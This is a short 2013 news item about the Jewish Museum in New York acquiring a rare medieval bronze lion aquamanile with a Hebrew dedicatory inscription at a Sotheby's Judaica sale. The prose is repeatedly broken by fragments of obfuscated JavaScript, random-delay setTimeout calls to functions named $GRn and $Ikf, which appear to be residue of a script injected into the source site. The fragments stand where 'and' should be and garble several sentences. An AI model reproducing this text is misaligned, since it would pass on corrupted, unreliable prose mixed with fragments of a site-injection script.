07 May 2013 / 0 Comment

Jewish Museum Acquires Rare Lion Aquamanile At Sotheby?s Auction

Published: May 7, 2013

NEW YORK CITY — The Jewish Museum has acquired a rare, late Twelfth Century North German bronze lion aquamanile for its collection. The work was purchased from the Michael andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Judy Steinhardt Judaica collection sale at Sotheby’s on April 22.

The piece features a Sixteenth Century Hebrew inscription on the lion’s side. Aquamanilia are figural vessels typically containing water andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and used for washing handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands — this particular example was adopted for Jewish religious ceremonial use, probably in a synagogue. It bears a dedicatory inscription from a young man, Berekhiah Segal (the Levite), which suggests that it was donated to a synagogue possibly for use by a Levite, who would wash the handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands of a priestly descendent before he blessed the congregation.

“We are delighted to add this rare andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and fascinating work to the Jewish Museum’s collection,” said Susan L. Braunstein, the museum’s Henry J. Leir curator. “The piece is an engaging example of the lion aquamanile form, simple in its ornamentation but striking. There are currently only two other known aquamanilia from the medieval era bearing Hebrew inscriptions.”

The museum is at 1109 Fifth Avenue at 92nd Street. For information, 212-423-3200 or www.thejewishmuseum.org.



   

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